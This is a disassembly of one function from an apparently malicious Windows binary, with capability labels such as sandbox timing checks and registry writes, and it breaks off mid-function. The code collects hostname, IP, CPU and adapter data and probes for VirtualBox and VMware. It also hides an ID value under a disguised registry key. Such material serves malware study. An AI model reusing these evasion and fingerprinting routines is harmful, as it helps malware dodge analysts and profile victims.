Function at 0x406a10
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get common file path
Get cpu information
Get geographical location
Get graphical window text
Get hostname
Get process image filename
Get system information on windows
Query or enumerate registry value
Resolve dns
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43996c
mov eax, dword fs:[0]
push eax
mov eax, 0x7570
call fcn.0042d850
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edx, dword [section..data]
mov dword [ebp - 0x7534], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x74dc], ecx
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x74d8], eax
xor edi, edi
mov dword [ebp - 4], edi
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x753c], eax
push 0xae7c
mov byte [ebp - 4], 1
call fcn.00420192
add esp, 4
push 0xae7c
mov ebx, eax
push edi
push ebx
call fcn.00422ed0
add esp, 0xc
push 0x7fe
lea edx, [ebp - 0x73aa]
xor ecx, ecx
push edi
mov byte [ebx], 6
push edx
mov word [ebp - 0x73ac], cx
call fcn.00422ed0
lea eax, [ebp - 0x73ac]
add esp, 0xc
push eax
mov ecx, str.NewoneOpenUrl
call fcn.004065e0
add esp, 4
lea ecx, [ebp - 0x73ac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x406b17
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push 0x43ec48
lea edx, [ebx + 0x5c5e]
push 0x43ea88
push edx
call esi
add esp, 0xc
jmp 0x406c97
push 0x208
lea eax, [ebp - 0x274]
push edi
push eax
mov dword [ebp - 0x74c8], edi
call fcn.00422ed0
add esp, 0xc
lea ecx, [ebp - 0x74c8]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74cc], 0x104
mov dword [ebp - 0x74d0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x74cc]
push edx
mov edx, dword [ebp - 0x74c8]
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x74d0]
push ecx
push edi
push str.NewoneOpenUrl
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, edi
je 0x406b93
push 0x43ec48
jmp 0x406c73
push 0x3ff
lea ecx, [ebp - 0x673]
push edi
push ecx
mov byte [ebp - 0x674], 0
call fcn.00422ed0
add esp, 0xc
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
lea edx, [ebp - 0x274]
push edx
push edi
push edi
call esi
push edi
push edi
push eax
lea eax, [ebp - 0x674]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push edi
push edi
call esi
lea eax, [ebp - 0x674]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406be0
sub eax, edx
lea edx, [ebp - 0x674]
push edx
mov edx, eax
call fcn.00403da0
add esp, 4
push 0x7fe
lea ecx, [ebp - 0x1b3a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x1b3c], ax
call fcn.00422ed0
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406c21
push edi
sub eax, edx
push edi
inc eax
push eax
lea edx, [ebp - 0x674]
push edx
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x674]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406c48
push esi
sub ecx, edi
lea eax, [ebp - 0x1b3c]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [ebp - 0x1b3c]
push edx
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebx + 0x5c5e]
push 0x43ea88
push eax
call esi
mov ecx, dword [ebp - 0x74c8]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xc8
lea edx, [ebp - 0x133c]
push 0
push edx
call fcn.00422ed0
add esp, 0xc
push 0x32
lea eax, [ebp - 0x6c]
push 0
push eax
call fcn.00422ed0
add esp, 0xc
push 0x32
lea ecx, [ebp - 0x6c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [ebp - 0x6c]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x406d8e
mov eax, dword [edi + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x133c]
push 0xc8
push eax
call fcn.00421a3a
add esp, 0xc
push 0x43ec50
lea ecx, [ebp - 0x133c]
push 0xc8
push ecx
call fcn.00421a3a
movsx edx, word [edi + 0xa]
mov eax, dword [edi + 0xc]
add edx, dword [eax]
add esp, 0xc
cmp edx, dword [edi]
jae 0x406d8e
mov dword [ebp - 0x74c8], 0
mov ecx, dword [ebp - 0x74c8]
mov eax, dword [ecx + eax + 4]
add ecx, 4
mov dword [ebp - 0x74c8], ecx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea edx, [ebp - 0x133c]
push 0xc8
push edx
call fcn.00421a3a
add esp, 0xc
push 0x43ec50
lea eax, [ebp - 0x133c]
push 0xc8
push eax
call fcn.00421a3a
movsx ecx, word [edi + 0xa]
mov eax, dword [edi + 0xc]
mov edx, dword [ebp - 0x74c8]
add ecx, dword [edx + eax]
add esp, 0xc
cmp ecx, dword [edi]
jb 0x406d30
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x133c]
push eax
push 0
push 0
call edi
push eax
lea ecx, [ebx + 2]
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x133c]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x73b4]
push edx
mov dword [ebp - 0x73b4], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [ebp - 0x73b0]
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov eax, 0x88888889
mul edx
shr edx, 5
push edx
lea edx, [ebx + 0x278]
push 0x43e9f4
push edx
call esi
add esp, 0xc
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
call edi
push eax
lea ecx, [ebx + 0x296]
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x6c]
push ecx
push 0
push 0
call edi
lea edx, [ebx + 0x2fa]
lea eax, [ebx + 0x35e]
push edx
push eax
call fcn.0040d540
xor eax, eax
mov dword [ebp - 0x7578], eax
mov dword [ebp - 0x7574], eax
mov dword [ebp - 0x7570], eax
mov dword [ebp - 0x756c], eax
mov dword [ebp - 0x7568], eax
mov dword [ebp - 0x7564], eax
mov dword [ebp - 0x7560], eax
mov dword [ebp - 0x755c], eax
mov dword [ebp - 0x7558], eax
add esp, 8
lea eax, [ebp - 0x7578]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x7564]
push ecx
lea eax, [ebx + 0x39a]
push 0x43e9f4
push eax
call esi
add esp, 0xc
lea edx, [ebp - 0x73c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
mov al, byte [ebp - 0x73c7]
cmp al, 0x80
je 0x406ee2
cmp al, 0xff
je 0x406ee2
push 0x43ec60
push 0x43ea88
lea edi, [ebp - 0x74d8]
call fcn.0040ec10
mov eax, dword [ebp - 0x74d8]
push eax
push 0x43ea88
lea ecx, [ebx + 0x125a]
push ecx
jmp 0x406f0a
push 0x43ec54
push 0x43ea88
lea edi, [ebp - 0x74d8]
call fcn.0040ec10
mov edx, dword [ebp - 0x74d8]
push edx
push 0x43ea88
lea eax, [ebx + 0x125a]
push eax
call esi
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
add esp, 0x14
push ecx
mov edi, esp
mov dword [ebp - 0x73b0], esp
mov ecx, section..data
mov dword [ebp - 0x73b0], edi
call eax
add eax, 0x10
mov dword [edi], eax
mov ecx, str.VBoxTray.exe
mov byte [ebp - 4], 2
test ecx, 0xffff0000
jne 0x406f6c
mov edx, ecx
movzx eax, dx
push eax
mov dword [ebp - 0x74d0], eax
call fcn.00406040
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x406f79
mov eax, dword [ebp - 0x74d0]
push edi
call fcn.0040e460
jmp 0x406f79
push 0xc
push str.VBoxTray.exe
push edi
call fcn.0040eab0
mov byte [ebp - 4], 1
call fcn.00406370
add esp, 4
test eax, eax
jne 0x4070c0
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
push ecx
mov edi, esp
mov dword [ebp - 0x73b0], esp
mov ecx, section..data
mov dword [ebp - 0x73b0], edi
call edx
add eax, 0x10
mov dword [edi], eax
mov eax, str.VBoxService.exe
mov byte [ebp - 4], 3
test eax, 0xffff0000
jne 0x406fe8
mov ecx, eax
movzx eax, cx
push eax
mov dword [ebp - 0x74d0], eax
call fcn.00406040
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x406ff5
mov eax, dword [ebp - 0x74d0]
push edi
call fcn.0040e460
jmp 0x406ff5
push 0xf
push str.VBoxService.exe
push edi
call fcn.0040eab0
mov byte [ebp - 4], 1
call fcn.00406370
add esp, 4
test eax, eax
jne 0x4070c0
push ecx
mov edx, esp
mov dword [ebp - 0x73b0], esp
push edx
mov ecx, str.VMwareUser.exe
call fcn.0040e300
call fcn.00406370
add esp, 4
test eax, eax
jne 0x4070c0
push ecx
mov eax, esp
mov dword [ebp - 0x73b0], esp
push eax
mov ecx, str.VMwareTray.exe
call fcn.0040e300
call fcn.00406370
add esp, 4
test eax, eax
jne 0x4070c0
push ecx
mov ecx, esp
mov dword [ebp - 0x73b0], esp
push ecx
mov ecx, str.VMUpgradeHelper.exe
call fcn.0040e300
call fcn.00406370
add esp, 4
test eax, eax
jne 0x4070c0
push ecx
mov edx, esp
mov dword [ebp - 0x73b0], esp
push edx
mov ecx, str.vmtoolsd.exe
call fcn.0040e300
call fcn.00406370
add esp, 4
test eax, eax
jne 0x4070c0
push ecx
mov eax, esp
mov dword [ebp - 0x73b0], esp
push eax
mov ecx, str.vmacthlp.exe
call fcn.0040e300
call fcn.00406370
add esp, 4
test eax, eax
jne 0x4070c0
push 0x43ed6c
push 0x43ea88
lea ecx, [ebx + 0x145a]
push ecx
jmp 0x4070f3
push str.C:Program_FilesVMware
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x4070e2
push str.VMware
push 0x43ea88
lea edx, [ebx + 0x145a]
push edx
jmp 0x4070f3
push str.VBox
push 0x43ea88
lea eax, [ebx + 0x145a]
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x74f4]
push ecx
mov eax, 4
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x7540], eax
mov dword [ebp - 0x7538], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x7540]
push edx
mov edx, dword [ebp - 0x74f4]
lea eax, [ebp - 0x7520]
push eax
lea ecx, [ebp - 0x7538]
push ecx
push 0
push str.MHz
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x74f4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
fild dword [ebp - 0x7520]
mov ecx, dword [ebp - 0x7520]
test ecx, ecx
jns 0x40716c
fadd dword [0x440f60]
fmul qword [0x440f48]
sub esp, 8
lea edi, [ebp - 0x74d8]
fstp qword [esp]
push str._.2f
call fcn.0040ec10
mov edx, dword [ebp - 0x74d8]
add esp, 0xc
push edx
lea eax, [ebx + 0x165a]
push 0x43ea88
push eax
call esi
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x41a4]
push 0
push ecx
mov dword [ebp - 0x74e0], 0
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x74e0]
push edx
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x751c], 0x104
mov dword [ebp - 0x7544], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x751c]
push eax
mov eax, dword [ebp - 0x74e0]
lea ecx, [ebp - 0x41a4]
push ecx
lea edx, [ebp - 0x7544]
push edx
push 0
push str.ProcessorNameString
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 0x74e0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x41a4]
push edx
push 0x43ea88
call fcn.0040ec10
mov eax, dword [ebp - 0x74d8]
push eax
lea ecx, [ebx + 0x185a]
push 0x43ea88
push ecx
call esi
add esp, 0x14
push 0x208
lea edx, [ebp - 0x3f9c]
push 0
push edx
mov dword [ebp - 0x74f0], 0
call fcn.00422ed0
add esp, 0xc
lea eax, [ebp - 0x74f0]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x7524], 0x104
mov dword [ebp - 0x7528], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x7524]
push ecx
mov ecx, dword [ebp - 0x74f0]
lea edx, [ebp - 0x3f9c]
push edx
lea eax, [ebp - 0x7528]
push eax
push 0
push str.Identifier
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x74f0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x3f9c]
push eax
push 0x43ea88
call fcn.0040ec10
mov ecx, dword [ebp - 0x74d8]
push ecx
lea edx, [ebx + 0x1a5a]
push 0x43ea88
push edx
call esi
add esp, 0x14
push 0x208
lea eax, [ebp - 0x43ac]
push 0
push eax
mov dword [ebp - 0x74ec], 0
call fcn.00422ed0
add esp, 0xc
lea ecx, [ebp - 0x74ec]
push ecx
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x752c], 0x104
mov dword [ebp - 0x7530], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x752c]
push edx
mov edx, dword [ebp - 0x74ec]
lea eax, [ebp - 0x43ac]
push eax
lea ecx, [ebp - 0x7530]
push ecx
push 0
push str.VendorIdentifier
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x74ec]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x43ac]
push ecx
push 0x43ea88
call fcn.0040ec10
mov edx, dword [ebp - 0x74d8]
push edx
lea eax, [ebx + 0x1c5a]
push 0x43ea88
push eax
call esi
add esp, 0x14
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x4073be
push str._rNX__W
push 0x43ea88
lea ecx, [ebx + 0x1d5a]
push ecx
jmp 0x4073cb
push eax
push 0x43e9f4
lea edx, [ebx + 0x1d5a]
push edx
call esi
add esp, 0xc
call fcn.0040c690
test eax, eax
je 0x4073ec
push 0x43ee64
push 0x80
lea eax, [ebx + 0x1e5a]
push eax
jmp 0x4073fd
push 0x43ee68
push 0x80
lea ecx, [ebx + 0x1e5a]
push ecx
call fcn.00420322
add esp, 0xc
push 0x800
lea edx, [ebp - 0x63ac]
push 0
push edx
mov dword [ebp - 0x74e4], 0
call fcn.00422ed0
mov ecx, dword [ebp - 0x74c8]
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
add esp, 0xc
lea eax, [ebp - 0x74e4]
push eax
push ecx
call edi
cmp eax, 0x6f
jne 0x40774c
mov edx, dword [ebp - 0x74e4]
push edx
call fcn.0041de98
add esp, 4
lea ecx, [ebp - 0x74e4]
push ecx
push eax
mov dword [ebp - 0x74c8], eax
call edi
test eax, eax
jne 0x407725
mov edi, dword [ebp - 0x74c8]
mov dword [ebp - 0x74c8], edi
test edi, edi
je 0x407702
mov edx, dword [ebp - 0x74c8]
mov eax, dword [edx + 0x1a0]
dec eax
cmp eax, 0xf3
ja case.0x40749e.2
movzx eax, byte [eax + 0x409ab8]
jmp dword [eax*4 + 0x409a40]
push 0x43ee6c
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push 0x43ee80
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push str.MIB_IF_TYPE_TOKENRING
jmp 0x4076a7
push 0x43eebc
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push 0x43eecc
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43eee0
jmp 0x4076a7
push str.802.11
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push 0x43ef0c
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43ef1c
jmp 0x4076a7
push 0x43ef30
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push str.SMDS
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43ef50
jmp 0x4076a7
push str.IQs
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push 0x43ef6c
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43ef80
jmp 0x4076a7
push 0x43ef90
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push 0x43efb8
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43efdc
jmp 0x4076a7
push 0x43efec
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push 0x43eff8
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43f01c
jmp 0x4076a7
push 0x43f02c
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push str.ISO8025
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43f058
jmp 0x4076a7
push 0x43f064
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push 0x43f070
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43f084
jmp 0x4076a7
push 0x43f094
push 0x43ea88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x4076b3
push 0x43f0b4
push 0x43ea88
lea edx, [ebp - 0x233c]
push edx
jmp 0x4076b3
push 0x43f0d4
push 0x43ea88
lea eax, [ebp - 0x233c]
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x233c]
push ecx
lea edx, [ebp - 0x63ac]
push 0x400
push edx
call fcn.00421716
add esp, 0xc
push 0x43f0e0
lea eax, [ebp - 0x63ac]
push 0x400
push eax
call fcn.00421716
mov ecx, dword [ebp - 0x74c8]
mov eax, dword [ecx]
add esp, 0xc
mov dword [ebp - 0x74c8], eax
test eax, eax
jne 0x40747f
lea edx, [ebp - 0x63ac]
push edx
lea eax, [ebx + 0x2536]
push 0x43ea88
push eax
call esi
add esp, 0xc
push edi
call fcn.0042066e
add esp, 4
jmp 0x407762
push 0x43f0e4
lea ecx, [ebx + 0x2536]
push 0x43ea88
push ecx
call esi
mov edi, dword [ebp - 0x74c8]
add esp, 0xc
push edi
call fcn.0042066e
add esp, 4
jmp 0x407762
push 0x43f0e4
lea edx, [ebx + 0x2536]
push 0x43ea88
push edx
call esi
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x1c], 0x640025
mov word [ebp - 0x18], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x31b5d43b
mul ecx
mov edi, edx
shr edi, 0x18
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x74c8], ecx
push eax
lea ecx, [ebp - 0x2404]
push ecx
call esi
imul edi, edi, 0xfad9a400
mov ecx, dword [ebp - 0x74c8]
add ecx, edi
mov eax, 0x95217cb1
mul ecx
mov edi, edx
add esp, 0xc
shr edi, 0x15
push edi
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x24cc]
push eax
mov dword [ebp - 0x74c8], ecx
call esi
imul edi, edi, 0xffc91180
mov ecx, dword [ebp - 0x74c8]
add ecx, edi
mov eax, 0x45e7b273
mul ecx
add esp, 0xc
shr edx, 0xe
push edx
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x2594]
push edx
call esi
add esp, 0xc
push 0x43f0f8
lea ecx, [ebp - 0x2594]
push ecx
push 0x43f0f4
xor eax, eax
lea edx, [ebp - 0x24cc]
push edx
mov word [ebp - 0x20], ax
push 0x43f0f0
lea eax, [ebp - 0x2404]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebx + 0x1f5a]
push edx
mov dword [ebp - 0x38], 0x730025
mov dword [ebp - 0x34], 0x730025
mov dword [ebp - 0x30], 0x730025
mov dword [ebp - 0x2c], 0x730025
mov dword [ebp - 0x28], 0x730025
mov dword [ebp - 0x24], 0x730025
call esi
xor eax, eax
add esp, 0x20
push 0x43f6ac
push str.kernel32.dll
mov dword [ebp - 0x7518], eax
mov dword [ebp - 0x7514], eax
mov dword [ebp - 0x7510], eax
mov dword [ebp - 0x750c], eax
mov dword [ebp - 0x7508], eax
mov dword [ebp - 0x7504], eax
mov dword [ebp - 0x7500], eax
mov dword [ebp - 0x74fc], eax
mov dword [ebp - 0x74f8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4078b6
lea ecx, [ebp - 0x7518]
push ecx
call eax
jmp 0x4078c3
lea edx, [ebp - 0x7518]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x7518]
mov ecx, 6
cmp cx, ax
je 0x4078dd
mov edx, 9
cmp dx, ax
jne 0x4078e4
mov eax, 0x43f0fc
jmp 0x4078e9
mov eax, 0x43f104
push eax
lea eax, [ebx + 0x20ea]
push 0x43ea88
push eax
call esi
lea ecx, [ebx + 0x214e]
add esp, 0xc
push ecx
call fcn.0040c910
mov edx, dword [ebp + 0x10]
add esp, 4
push edx
lea eax, [ebx + 0x2022]
push 0x43e9f4
push eax
call esi
add esp, 0xc
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x4baa]
push edx
mov word [ebp - 0x4bac], cx
call fcn.00422ed0
lea eax, [ebp - 0x4bac]
add esp, 0xc
push eax
mov ecx, str.gogoggid
call fcn.004065e0
add esp, 4
lea ecx, [ebp - 0x4bac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x407baf
push 0x3ff
push eax
lea edx, [ebp - 0x673]
push edx
mov byte [ebp - 0x674], al
call fcn.00422ed0
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
call fcn.00411650
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 4
push eax
push 0
push 0
call edi
push 0
push 0
push eax
lea eax, [ebp - 0x674]
push eax
push 0xffffffffffffffff
push ecx
call fcn.00411650
add esp, 4
push eax
push 0
push 0
call edi
lea eax, [ebp - 0x674]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4079c8
sub eax, edx
lea ecx, [ebp - 0x674]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1272]
push eax
mov word [ebp - 0x1274], dx
call fcn.00422ed0
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407a10
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d0], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407a41
sub ecx, dword [ebp - 0x74d0]
push eax
lea eax, [ebp - 0x1274]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x407aba
lea eax, [ebp - 0x1274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x74c8]
add eax, eax
push eax
lea ecx, [ebp - 0x1274]
push ecx
push 1
push 0
push str.gogoggid
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x407aba
mov eax, dword [ebp - 0x74c8]
push eax
jmp 0x407ac1
mov ecx, dword [ebp - 0x74c8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea edx, [ebp - 0xa73]
push 0
push edx
mov byte [ebp - 0xa74], 0
call fcn.00422ed0
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x1274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push eax
lea ecx, [ebp - 0xa74]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x1274]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xa74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407b27
sub eax, edx
lea ecx, [ebp - 0xa74]
push ecx
mov edx, eax
call fcn.00406910
lea eax, [ebp - 0xa74]
add esp, 4
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407b50
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0xa74]
push edx
push 0
push 0
call edi
lea ecx, [ebp - 0xa74]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d0], edx
jmp 0x407b80
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407b80
sub ecx, dword [ebp - 0x74d0]
push eax
lea eax, [ebp - 0x1274]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0xa74]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x1274]
jmp 0x407d2c
push 0x208
lea ecx, [ebp - 0x274]
push 0
push ecx
mov dword [ebp - 0x74c8], 0
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74d0], 0x104
mov dword [ebp - 0x74cc], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x74d0]
push eax
mov eax, dword [ebp - 0x74c8]
lea ecx, [ebp - 0x274]
push ecx
lea edx, [ebp - 0x74cc]
push edx
push 0
push str.gogoggid
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 0x74c8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea edx, [ebp - 0x673]
push 0
push edx
mov byte [ebp - 0x674], 0
call fcn.00422ed0
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call edi
push 0
push 0
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x274]
push edx
push 0
push 0
call edi
lea eax, [ebp - 0x674]
lea edi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407c90
sub eax, edi
lea ecx, [ebp - 0x674]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00422ed0
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407cd1
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d4], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407d02
sub ecx, dword [ebp - 0x74d4]
push eax
lea eax, [ebp - 0x1b3c]
push eax
inc ecx
push ecx
